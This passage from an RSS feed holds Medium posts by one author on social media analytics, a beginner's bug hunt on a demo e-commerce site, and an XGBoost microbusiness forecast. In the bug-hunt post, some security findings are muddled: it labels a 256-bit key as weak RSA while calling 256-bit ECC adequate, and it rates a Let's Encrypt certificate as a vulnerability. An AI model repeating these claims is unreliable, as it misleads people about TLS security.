collaborate! I’m always eager to learn and share.</p><blockquote><strong><em>Explore the repo:</em></strong><em><br> 🔗 </em><a href="https://github.com/Yash22222/Prompt-Design-in-Vertex-AI/"><em>github.com/Yash22222/Prompt-Design-in-Vertex-AI</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=082bf9a015eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[All About Social Media Analytics….]]></title>
            <link>https://medium.com/@Yash22222/all-about-social-media-analytics-336c9af9e71b?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/336c9af9e71b</guid>
            <category><![CDATA[sma]]></category>
            <category><![CDATA[business-analytics]]></category>
            <category><![CDATA[social-media-analytics]]></category>
            <category><![CDATA[social-media-strategy]]></category>
            <category><![CDATA[data-analytics]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 14:48:33 GMT</pubDate>
            <atom:updated>2025-02-19T14:48:33.624Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Social media is more than just a platform for social interactions, it’s a goldmine of data. Businesses, influencers, and marketers use Social Media Analytics (SMA) to measure engagement, understand audience behavior, and improve marketing strategies.</p><p>This blog explores Social Media Analytics in detail, covering its types, tools, benefits, challenges, and real world case studies.</p><h3>1. What is Social Media Analytics?</h3><p>Social Media Analytics (SMA) is the process of collecting, analyzing, and interpreting data from social media platforms like Facebook, Twitter, Instagram, LinkedIn, and YouTube.</p><p>📊 Key Metrics Analyzed in SMA<br>✅ Engagement (likes, shares, comments)<br>✅ Reach &amp; Impressions<br>✅ Sentiment Analysis (positive, negative, neutral mentions)<br>✅ Audience Demographics<br>✅ Conversion Rates</p><p>📌 Example<br>A brand like Nike tracks social media engagement during a product launch to measure campaign success.</p><h3>2. Why is Social Media Analytics Important?</h3><p>SMA helps businesses and influencers</p><p>🔹 Measure Performance — Track how well content is performing.<br>🔹 Understand Audience Behavior — Identify customer preferences.<br>🔹 Improve Marketing Strategies — Optimize content based on insights.<br>🔹 Monitor Brand Reputation — Detect positive or negative trends.<br>🔹 Increase ROI (Return on Investment) — Boost revenue by targeting the right audience.</p><p>📌 Case Study<br>Netflix uses social media sentiment analysis to understand audience reactions to new series. If a show receives negative feedback, they modify their promotional strategy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/0*yFez1d8dodMMu-jq" /></figure><h3>3. Types of Social Media Analytics</h3><ul><li><strong>Descriptive Analytics</strong>: Summarizes past performance</li></ul><p><em>Example:-</em> “How many likes did our post get?”</p><ul><li><strong>Diagnostic Analytics</strong>: Identifies reasons for trends</li></ul><p><em>Example:-</em> “Why did engagement drop last week?”</p><ul><li><strong>Predictive Analytics</strong>:- Forecasts future trends</li></ul><p><em>Example:-</em> “Which content will go viral next month?”</p><ul><li><strong>Prescriptive Analytics</strong>:- Recommends actions to improve</li></ul><p><em>Example:-</em> “What should we post to increase engagement?”</p><p>📌 Example<br>Twitter uses predictive analytics to suggest trending topics based on user activity.</p><h3>4. Social Media Analytics Cycle</h3><p>The SMA cycle consists of</p><h3>🔹 Step 1:- Data Collection</h3><ul><li>Extract data from platforms like Facebook Insights, Twitter Analytics, Google Analytics.</li><li>Use APIs for automated data retrieval.</li></ul><h3>🔹 Step 2:- Data Processing</h3><ul><li>Clean and organize raw data using Python, R, or SQL.</li></ul><h3>🔹 Step 3:- Data Analysis</h3><ul><li>Apply machine learning for predictive insights.</li><li>Perform sentiment analysis to gauge public opinion.</li></ul><h3>🔹 Step 4:- Data Visualization</h3><ul><li>Use Power BI, Tableau, or Google Data Studio for visual reports.</li></ul><p>📌 Exampls<br>A fashion brand collects Instagram insights to analyze customer behavior and predict future fashion trends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/0*CViH39scUq4tYm7-" /></figure><h3>5. Tools for Social Media Analytics</h3><p>📌 Case Study<br>Coca Cola used Brandwatch to monitor customer feedback and improve its product marketing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/0*PwIQC2Sg1BHbWAU5" /></figure><h3>6. Challenges in Social Media Analytics</h3><p>🔴 Data Overload:- Managing massive amounts of social media data is complex.<br>🔴 Privacy Concerns:- Social media data must be analyzed while maintaining user privacy.<br>🔴 Changing Algorithms:- Platforms frequently update their ranking algorithms.<br>🔴 Fake Engagement:- Bots and fake accounts can distort analytics data.</p><p>📌 Example<br>Facebook’s algorithm changes often impact the organic reach of posts, making it harder for businesses to get visibility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/0*WywyyUyzWST8he_J" /></figure><h3>7. Real World Case Studies</h3><h3>📌 Case Study 1:- Starbucks’ Personalized Marketing</h3><p>✅ Starbucks used Twitter Analytics to track user discussions about coffee preferences.<br>✅ They introduced seasonal drinks like Pumpkin Spice Latte based on positive trends.<br>✅ Result:- Increased sales &amp; customer engagement.</p><h3>📌 Case Study 2:- Airbnb’s Social Media Strategy</h3><p>✅ Airbnb uses Instagram analytics to understand travel trends.<br>✅ They create personalized ads based on user engagement.<br>✅ Result:- Higher bookings and better customer targeting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/0*va4rDmrubGB0qvH4" /></figure><h3>8. Advantages &amp; Disadvantages of Social Media Analytics</h3><h3>✅ Advantages</h3><p>✔️ Improved Decision Making — Data-driven insights lead to better business strategies.<br>✔️ Enhanced Customer Engagement — Understanding audience behavior boosts interaction.<br>✔️ Real-Time Monitoring — Track brand reputation and respond instantly.<br>✔️ Cost Effective — Social media ads based on analytics increase ROI.</p><h3>❌ Disadvantages</h3><p>❌ Algorithm Changes — Platforms update ranking methods, affecting reach.<br>❌ Data Misinterpretation — Incorrect analysis can lead to wrong conclusions.<br>❌ Privacy Issues — Collecting user data raises ethical concerns.<br>❌ High Competition — Every brand is competing for social media attention.</p><p>📌 Example<br>Facebook’s privacy policies limit third-party data collection, affecting targeted marketing.</p><h3>9. Future Trends in Social Media Analytics</h3><p>🔮 AI Powered Analytics — AI and machine learning will improve sentiment analysis.<br>🔮 Voice &amp; Video Analytics — Future tools will analyze podcasts and live streams.<br>🔮 Blockchain &amp; Data Privacy — Secure social media data storage and processing.<br>🔮 Real Time Influencer Tracking — Advanced analytics for influencer marketing.</p><p>📌 Example<br>Instagram is testing AI-based comment filtering to detect fake engagement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/0*cQo4yqnF5r7ABbDJ" /></figure><h3>10. Conclusion</h3><p>Social Media Analytics is a powerful tool for businesses and influencers to track engagement, monitor brand reputation, and optimize marketing campaigns.</p><p>💡 Key Takeaways<br>✅ Use analytics tools like Hootsuite, Google Analytics, and Sprout Social.<br>✅ Focus on sentiment analysis to understand public perception.<br>✅ Monitor real-time engagement metrics to improve marketing strategies.<br>✅ Adapt to algorithm changes and privacy regulations.</p><p>🚀 Start using Social Media Analytics today to grow your brand and increase engagement…!</p><h3>Want to Learn More?</h3><p>🔹 Check out my other blogs on data science, machine learning, and AI on <a href="https://yashashirsath.hashnode.dev/">Hashnode</a> &amp; <a href="https://medium.com/@Yash22222">Medium</a>….!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gPvN-4NYI4JzxcpapTN0w.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=336c9af9e71b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Data & Business Analyst to Bug Hunter - My First Journey into QA Testing on a Demo Site]]></title>
            <link>https://medium.com/@Yash22222/from-data-business-analyst-to-bug-hunter-my-first-journey-into-qa-testing-on-a-demo-site-4f164427eb30?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f164427eb30</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[e-commerce-solution]]></category>
            <category><![CDATA[qa-testing]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[analysis]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Sat, 09 Nov 2024 17:48:33 GMT</pubDate>
            <atom:updated>2024-11-09T17:48:33.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbixWr-wcs5r8MEcU3_DBg.jpeg" /></figure><p>Today, I’m sharing my experience with bug hunting on a demo e-commerce site (<a href="https://mumbai.bugbash.live/">LINK</a>). As a Data and Business Analyst, I’m venturing into Quality Assurance (QA) and software testing for the first time, using tools like <a href="https://www.browserstack.com/users/sign_up">BrowserStack</a> to test cross-browser compatibility and various aspects of the site. In this post, I’ll cover the bugs I found, categorize them, and describe the reporting process.</p><p>Using BrowserStack, I explored how to identify and report bugs efficiently across multiple browsers and operating systems. BrowserStack provided an extensive toolkit, allowing me to test on various browsers, including Chrome, Safari, Firefox, Opera, Yandex, Bing, and Internet Explorer. Additionally, I could access multiple versions of each browser, making it possible to simulate user experiences across different environments — all within one platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*VIyEiB-ub-raL47jKwsrxg.png" /></figure><p>Throughout this journey, I’ll share the key bugs I found, my approach to categorizing them, and insights from my first deep dive into QA testing.</p><h3>1. Getting Started with Bug Hunting: Tools and Setup</h3><p>In this section, I’ll guide you through the initial steps for setting up a bug-hunting environment using tools like BrowserStack, Microsoft Designer, and demo site access. Here’s how to get started:</p><h4>1. Setting Up the Testing Environment</h4><p><strong>BrowserStack</strong>:- <a href="https://www.browserstack.com/?utm_source=google&amp;utm_medium=cpc&amp;utm_platform=paidads&amp;utm_content=668803176719&amp;utm_campaign=Search-Brand-APAC-Navigational&amp;utm_campaigncode=Core+9300468&amp;utm_term=e+browserstack&amp;gad_source=1&amp;gclid=Cj0KCQiArby5BhCDARIsAIJvjIRy5SuYGs3pX_eDRoLO8oiMa_u0XnJtXsSc1JMoAUBHiCvRU2LkFAkaAsPnEALw_wcB">BrowserStack</a> was crucial in enabling multi-browser testing on the <a href="https://mumbai.bugbash.live/">Demo Site</a>, as it provides access to a variety of browsers and operating systems, such as Chrome, Safari, Firefox, Opera, Yandex, Bing, and Internet Explorer. You can switch between multiple versions of these browsers to check compatibility and ensure the site functions as expected across platforms. This setup gives testers the flexibility to identify cross-browser issues easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sYRni0r2Uwa-1GcvOpocg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*zV8BCfKvrW_y8X1wmV7OVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*B8Pfl99k6DUX9J0uscB7Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*AGEj-Tc4JIGqcik30yy_sg.png" /></figure><h4>2. Accessing the Demo Site</h4><p>I used the demo <a href="https://mumbai.bugbash.live/">Website</a> to conduct hands-on testing. This demo site allowed me to freely explore UI, functional, and cross-browser vulnerabilities without the risk of affecting a live production environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZ9PWUxmLWOEZTyiv-eadQ.png" /></figure><h4>3. Defining Bug Categories for Reporting</h4><p>Understanding the categories <strong>UI/UX</strong>, <strong>Functional</strong>, and <strong>Cross-Browser </strong>was essential to ensure organized and accurate reporting:</p><ul><li><strong>UI/UX Bugs</strong>:- Issues impacting the website’s appearance and ease of use. Examples include misaligned buttons, poor color contrast, and poor layout.</li><li><strong>Functional Bugs</strong>:- Issues affecting core functionality, such as broken filters, missing validations, or non-working buttons.</li><li><strong>Cross-Browser Bugs</strong>:- Compatibility issues that cause different behavior or display inconsistencies across browsers and devices.</li></ul><h4>4. Testing Workflow in BrowserStack</h4><p>The <strong>responsive mode</strong> option in BrowserStack allowed me to simulate how the website would look and function across various screen sizes and resolutions, essential for ensuring a consistent experience on both desktop and mobile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pM6WQX2MtDyNHOX_BZGqIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*gm7PJL-crdKayvtbmz9sEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nTrkQ7L7l7OrXsaYF3InsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*S9aDsw1XVepYXcNu2LMzKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*2iKTgPU2Ey9F82VKpyzOOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rTdjThR_NgenSdAAkSbHDA.png" /></figure><p>By setting up these tools and following a structured bug-hunting approach, I could uncover a range of issues. In the next sections, I’ll walk you through each category, detailing the bugs I discovered and how I documented them for clear and actionable reporting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kr-jJLjuEaeLD19Rn6uYQQ.jpeg" /></figure><h3>Let&#39;s Start Hunting</h3><h4><strong>1. Bug 1:- </strong>Unable to Download Order Receipt After Checkout</h4><p><strong>Bug Description:- </strong>After completing a purchase and proceeding to the checkout page, the user is unable to download the order receipt. This prevents users from receiving the necessary confirmation and invoice for their purchase.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Place an order on the website.</li><li>Complete the checkout process.</li><li>Attempt to download the order receipt.</li></ol><p><strong>Expected Result:- </strong>Users should be able to download the order receipt after the checkout process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*9v2mU-11y9aXM2pO2nb0cg.png" /></figure><p><strong>Actual Result:- </strong>The order receipt download link is either non-functional or not available after checkout.</p><p><strong>Type of Bug:- Functional</strong></p><h4>2. <strong>Bug 2:- State and Pin Code Validation Not Working Properly</strong></h4><p><strong>Bug Title:- </strong>State and Pin Code Not Properly Validated</p><p><strong>Bug Description:- </strong>When entering the state and pin code, the system does not validate whether the state name is correct (e.g., entering “Maharshtar” instead of “Maharashtra”). The validation should check if the entered state and pin code are valid and display an error message when incorrect.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Enter an incorrect state name (e.g., “Maharshtar”).</li><li>Enter an invalid or correct PIN code.</li><li>Observe that the system does not validate the state and pin code properly.</li></ol><p><strong>Expected Result:- </strong>The state and pin code fields should validate the input and show an error message when incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*xHGyoDZymwJ2ES6LcKNyDg.png" /></figure><p><strong>Actual Result:- </strong>No validation or error message is shown, allowing incorrect state and pin code inputs.</p><p><strong>Type of Bug:- Functional</strong></p><h4><strong>3. Bug 3:- OnePlus Filter Not Working Properly in Product Filter Section</strong></h4><p><strong>Bug Title:- </strong>OnePlus Filter Not Functioning Properly in Filter Section</p><p><strong>Bug Description:- </strong>In the product filter section, when the “OnePlus” filter is applied, it displays all phones, not just OnePlus phones. The expected behavior is that only OnePlus phones should appear when this filter is applied.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Go to the product filter section.</li><li>Select the “OnePlus” filter.</li><li>Observe that all phones are displayed, not just OnePlus phones.</li></ol><p><strong>Expected Result:- </strong>Only OnePlus phones should be displayed when the “OnePlus” filter is applied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*nXrIYhS7j7ciaUJWI_btuw.png" /></figure><p><strong>Actual Result:- </strong>All phones are displayed, even though the OnePlus filter is selected.</p><p><strong>Type of Bug:- Functional</strong></p><p><strong>4. Bug 4:- Poor UI/UX with Placement of Account, Logout, and Cart Options</strong></p><p><strong>Bug Title:- </strong>Poor Placement of Account, Logout, and Cart Options</p><p><strong>Bug Description:- </strong>The UI/UX design of the website places the <strong>account</strong>, <strong>logout</strong>, and <strong>cart</strong> options poorly, making them less accessible and confusing for users. The <strong>cart</strong> option opens directly on the side, and the overall design is not attractive.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Log in to the website.</li><li>Navigate to the account section.</li><li>Observe the placement of the <strong>logout</strong>, <strong>account</strong>, and <strong>cart</strong> options.</li></ol><p><strong>Expected Result:- </strong>The options should be organized and positioned for better accessibility and an attractive UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*x8XikZ_Kpfp2vomSnGd1bA.png" /></figure><p><strong>Actual Result:- </strong>The options are poorly placed, confusing for the user, and the site lacks visual appeal.</p><p><strong>Type of Bug:- UI/UX</strong></p><h4>5. <strong>Bug 5:- Weak 256-bit Public Key for SSL/TLS Encryption</strong></h4><p><strong>Bug Title:- </strong>Weak 256-bit Public Key for SSL/TLS Encryption Detected</p><p><strong>Bug Description:- </strong>The website uses a <strong>256-bit public key</strong> for SSL/TLS encryption, which is considered weak. Modern encryption standards require at least <strong>2048-bit RSA</strong> or <strong>256-bit ECC</strong> (e.g., <strong>P-256</strong>) for secure communication. A 256-bit RSA key is vulnerable to cryptographic attacks.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Inspect the SSL/TLS certificate of the website.</li><li>Check the public key length, which is 256 bits.</li></ol><p><strong>Expected Result:- </strong>The website should use a <strong>2048-bit RSA</strong> key or <strong>256-bit ECC</strong> (P-256) for stronger encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*rPG2x7qKIZ8SktFiwV8X8A.png" /></figure><p><strong>Actual Result:- </strong>The website uses a <strong>256-bit RSA</strong> key, which is insecure and vulnerable to brute-force attacks.</p><p><strong>Type of Bug:- Security Vulnerability</strong> (Critical)</p><h4><strong>6. Bug 6:- No Trackers Blocked</strong></h4><p><strong>Bug Title:- </strong>No Trackers Blocked on the Website</p><p><strong>Bug Description:- </strong>The website does not block any trackers, potentially compromising user privacy and allowing third-party tracking. Websites should implement anti-tracking measures to enhance user privacy.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Visit the website and inspect the network requests.</li><li>Observe that no trackers are blocked or prevented.</li></ol><p><strong>Expected Result:- </strong>The website should block third-party trackers to ensure user privacy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*RxwUFjc7zNoF8s0BWb32GQ.png" /></figure><p><strong>Actual Result:- </strong>No trackers are blocked on the website.</p><p><strong>Type of Bug:- UI/UX</strong> or <strong>Functional</strong></p><h4>7. <strong>Bug 7:- SSL/TLS Certificate Issued by Let’s Encrypt</strong></h4><p><strong>Bug Title:- </strong>SSL/TLS Certificate Issued by Let’s Encrypt</p><p><strong>Bug Description:- </strong>The website uses a <strong>Let’s Encrypt</strong> SSL/TLS certificate, which is commonly used for ensuring secure communication. However, since it’s free, it might be a temporary solution or raise questions about the validity of the certificate for a large-scale commercial site.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Inspect the SSL/TLS certificate of the website.</li><li>Notice that it is issued by <strong>Let’s Encrypt</strong>.</li></ol><p><strong>Expected Result:- </strong>While <strong>Let’s Encrypt</strong> is valid, the certificate should be appropriate for the scale of the website. If it’s a large-scale site, a more prestigious certificate provider might be more appropriate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*YgQqsYm6EpE0gk-EIilSbQ.png" /></figure><p><strong>Actual Result:- </strong>The website uses a <strong>Let’s Encrypt</strong> certificate, which might not meet the expectations of larger sites or those dealing with sensitive data.</p><p><strong>Type of Bug:- Security Vulnerability</strong> (Moderate)</p><h4>8. Bug 8:- Weak Public Key Length Detected -Vulnerable to Brute-Force Attacks</h4><p><strong>Bug Description:-</strong></p><p>The website uses a <strong>256-bit public key</strong> for its SSL/TLS encryption. This is a significant security concern, as <strong>256-bit RSA keys</strong> are considered weak and vulnerable to modern brute force or other cryptographic attacks. Standard RSA keys should be at least <strong>2048 bits</strong> to provide adequate security. A <strong>256-bit key</strong> can potentially be cracked with current computational power.</p><p>If this key is part of RSA encryption, it is <strong>vulnerable</strong> and should be replaced with a <strong>2048-bit RSA</strong> key or <strong>stronger elliptic curve cryptography (ECC)</strong> with <strong>P-256</strong> or higher for secure communications.</p><p><strong>Steps to Reproduce:-</strong></p><ol><li>Inspect the SSL/TLS certificate used by the website.</li><li>Verify the public key length (256 bits).</li><li>Analyze the key against current cryptographic attack capabilities.</li></ol><p><strong>Expected Result:-</strong>The website should use a <strong>2048-bit or higher RSA</strong> key or <strong>ECC</strong> (e.g., <strong>P-256</strong> or higher).</p><p>Stronger encryption ensures that the data transmitted between the server and the client remains secure and protected from potential attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*rPG2x7qKIZ8SktFiwV8X8A.png" /></figure><p><strong>Actual Result:- </strong>The public key is <strong>256 bits</strong> long, which is insufficient for securing sensitive data, and is vulnerable to modern brute-force attacks.</p><p><strong>Type of Bug:- Security Vulnerability</strong> (Critical)</p><h4><strong>9. Bug 9:- Bug Title</strong>:- Order History Not Retained After Logging Out and Logging Back In</h4><p><strong>Bug Description</strong>:- When a user places an order, then logs out and logs back in, the previous order is not found in the order history. The expected behavior is that after logging back in, the user should be able to see their previous orders, but the order history is missing or not displaying correctly.</p><p><strong>Steps to Reproduce</strong>:</p><ol><li>Log in to your account.</li><li>Place an order for a product.</li><li>Log out of the account.</li><li>Log back into the account.</li><li>Go to the order history section or the account page.</li><li>Observe that the order history is missing, and the previously placed order is not displayed.</li></ol><p><strong>Expected Result</strong>:- After logging back in, the user should be able to see all the previous orders placed under their account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*fkrKRmSv_Wpyx4rNX-1lpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*vSZICfCcvpUMmDVvItgeVg.png" /></figure><p><strong>Actual Result</strong>:- The order history is not displayed, and no previous orders are found after logging out and logging back in.</p><p><strong>Bug Type</strong>:- Functional</p><h4>10. Bug 10:- <strong>Missing HTTP Strict Transport Security (HSTS) Header (Security Bug)</strong></h4><p><strong>Location of Issue</strong>:- The SSL certificate for mumbai.bugbash.live is issued for secure HTTPS communication.</p><p><strong>Description</strong>:- The website should implement <strong>HSTS</strong> (HTTP Strict Transport Security) to prevent attackers from performing <strong>man-in-the-middle (MITM) attacks</strong> by downgrading the HTTPS connection to HTTP. The absence of the HSTS header means the website doesn’t force all communication to occur over HTTPS.</p><p><strong>Expected Result</strong>:- The site should include the Strict-Transport-Security header with a max-age directive to force all future connections to be made over HTTPS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*JJn-VvfUUt8Sc4hsDIFBlw.png" /></figure><p><strong>Where to Check</strong>:- You can use tools like <strong>Mozilla Observatory</strong> or <strong>Security Headers</strong> to check if the HSTS header is set.</p><h3>AND MANY MORE…..</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAxDANUHrz-mihO-V1J0zA.jpeg" /></figure><h3>Conclusion:-</h3><p>This bug-hunting journey on an e-commerce platform taught me the importance of examining both functionality and security. Each bug, from UI issues to potential vulnerabilities, impacts the user experience and overall platform reliability. For fellow testers, always start with user flows, test for validation issues, and inspect security settings. Together, these steps lead to safer, more user-friendly sites.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f164427eb30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling Microbusiness Dynamics - A Data-Driven Approach to Forecasting and Analysis]]></title>
            <link>https://medium.com/@Yash22222/unveiling-microbusiness-dynamics-a-data-driven-approach-to-forecasting-and-analysis-32546a347a26?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/32546a347a26</guid>
            <category><![CDATA[xgboost]]></category>
            <category><![CDATA[time-series-forecasting]]></category>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[microbusiness]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Wed, 16 Oct 2024 17:21:42 GMT</pubDate>
            <atom:updated>2024-10-16T18:10:38.025Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWe9LK6M4Ea1AwMUXnRYFQ.jpeg" /></figure><p>In the rapidly evolving landscape of small businesses, microbusinesses are vital drivers of innovation, job creation, and economic growth. These small-scale enterprises often serve as the backbone of local economies, providing opportunities in regions where larger companies may not reach. However, understanding the trends and dynamics of microbusinesses such as where they are thriving, how fast they are growing, and what factors influence their sustainability is a challenging task.</p><p>Our project titled <strong>“Unveiling Microbusiness Dynamics</strong>&quot; aimed to address this challenge using a data-driven approach. By leveraging historical data and advanced machine learning techniques, we developed predictive models to forecast the density of microbusinesses across different regions. Through this project, we explored how regional patterns in microbusiness growth could be used to provide valuable insights for entrepreneurs, policymakers, and economic development agencies.</p><h3>Project Objective</h3><p>The primary objective of our project, <strong>“Unveiling Microbusiness Dynamics”</strong> was to develop a predictive model that could accurately forecast the growth and density of microbusinesses across various regions. We aimed to understand the key drivers behind the rise of these small scale enterprises and predict how they would evolve in the future based on historical data.</p><p>Microbusinesses are typically defined as businesses with fewer than 10 employees, playing a crucial role in local economies by generating jobs and fostering innovation. Despite their importance, the lack of comprehensive and timely data on micro business dynamics poses challenges to understanding how these businesses perform, especially in different geographic locations. Therefore, our goal was to shed light on the following questions:</p><ol><li><strong>Predicting Microbusiness Growth:-</strong> We sought to build a predictive model that could forecast the <strong>microbusiness density</strong> (number of microbusinesses per population) in the future. Our model aimed to generate forecasts for upcoming months by analyzing patterns from past data. Accurate predictions would provide valuable insights to support business planning, policy making, and resource allocation.</li><li><strong>Identifying Regional Patterns:-</strong> One of the key objectives was to analyze how micro businesses were distributed across different regions and identify any underlying patterns. By understanding which areas were experiencing rapid growth and which were lagging, we could help inform regional development strategies and provide targeted support to underperforming areas.</li><li><strong>Understanding Economic Indicators:-</strong> We aimed to explore how various socio-economic factors influence the growth of microbusinesses. These factors could include variables like unemployment rates, income levels, population density, access to financial resources, and technological adoption. By analyzing these indicators, we sought to highlight the main drivers behind microbusiness success or stagnation in different regions.</li><li><strong>Building a Scalable Forecasting Framework:-</strong> We aimed to develop a machine learning framework that could be easily scaled and adapted to different datasets. Our goal was to ensure that the model could be applied to other regions or business sectors, enabling a wide range of applications beyond just micro businesses.</li><li><strong>Delivering Insights for Policy and Decision Makers:-</strong> Ultimately, the objective of our project was to generate actionable insights for entrepreneurs, policymakers, and economic development agencies. By predicting trends in micro business growth, decision-makers could plan better interventions, allocate resources more efficiently, and craft policies that promote sustainable development in the regions most in need.</li></ol><h3>Significance of the Project</h3><p>Our project aimed to provide an evidence based approach to understanding and supporting microbusinesses, whose success is crucial to fostering local economies and creating jobs. By offering tools that accurately predict future trends, our project could be instrumental in shaping informed strategies for business owners and local governments, contributing to a healthier entrepreneurial ecosystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZ04jKQhIHvYm2LbNURYKA.jpeg" /></figure><h3>Data Overview for UMD</h3><p>In our project, we utilized data that provided historical insights into the microbusiness density across various counties in the United States. This dataset was crucial for analyzing trends and predicting future changes in local business activities. Here’s a detailed breakdown of the dataset:</p><ul><li><strong>County FIPS (cfips)</strong>:- Each U.S. county is assigned a unique Federal Information Processing Standard (FIPS) code, known as cfips. This code allows us to distinguish data between different counties. By leveraging this code, we could segment and analyze microbusiness density at a granular level.</li><li><strong>Microbusiness Density</strong>:- This variable represents the number of micro-businesses per capita within a given region. Microbusinesses are typically very small enterprises, often run by a sole proprietor or a small team. Tracking this metric over time provides insight into entrepreneurial activity and local economic development across different regions.</li><li><strong>Date</strong>:- The dataset included time-series entries, with each record linked to a specific date, covering multiple years. This temporal data allowed us to observe changes in microbusiness density over time and identify trends or shifts that might reflect broader economic changes or responses to events like the COVID-19 pandemic.</li></ul><h3>Data Source</h3><p>The dataset was obtained from public economic and business records. It is likely sourced from platforms such as GoDaddy which hosts open datasets related to local business activities and U.S. demographics. These datasets are derived from a range of governmental and commercial sources, including the <strong>U.S. Census Bureau</strong> and local business registries.</p><h3>Data Size</h3><p>The dataset contained thousands of rows, each representing a specific county at a given time, which made it substantial in size. Each row had a unique combination of a county’s FIPS code, the date, and the corresponding microbusiness density. Handling this volume of data required the use of big data frameworks to ensure efficient processing and analysis. We used <strong>Apache Spark</strong> to process the data, as its ability to handle large datasets in a distributed manner allowed for quicker computations and easier data manipulation.</p><h3>Key Steps in the Project</h3><h4>1. Data Preprocessing</h4><p>Before diving into model training, the first step was preparing the dataset. This involved:</p><ul><li><strong>Handling Missing Data</strong>: Ensuring all missing values were handled correctly to avoid model bias.</li><li><strong>Feature Engineering</strong>: Creating lag features (lag-1, lag-2, etc.), which represented the microbusiness density from previous months. These features were crucial in identifying time-based patterns.</li></ul><pre>df[&#39;lag_1&#39;] = df[&#39;microbusiness_density&#39;].shift(1)<br>df[&#39;lag_2&#39;] = df[&#39;microbusiness_density&#39;].shift(2)</pre><h4>2. Model Selection: XGBoost</h4><p>We chose <strong>XGBoost (Extreme Gradient Boosting)</strong> as our model due to its high performance on structured datasets. XGBoost is an ensemble learning method that builds multiple weak models (decision trees) and combines them to form a stronger model. Its ability to handle both linear and non-linear relationships made it ideal for our time-series data.</p><pre>import xgboost as xgb<br>model = xgb.XGBRegressor(objective=&#39;reg:squarederror&#39;)<br>model.fit(X_train, y_train)</pre><h4>3. Cross-Validation</h4><p>To ensure our model was robust and generalized well to unseen data, we implemented <strong>cross validation</strong> with multiple folds. Cross-validation allowed us to train and test our model on different subsets of the data, helping to prevent overfitting.</p><pre>from sklearn.model_selection import TimeSeriesSplit<br>tscv = TimeSeriesSplit(n_splits=5)<br>for train_index, test_index in tscv.split(X):</pre><p>We specifically used a time-series split method to ensure that the model only used past data to predict future values (since 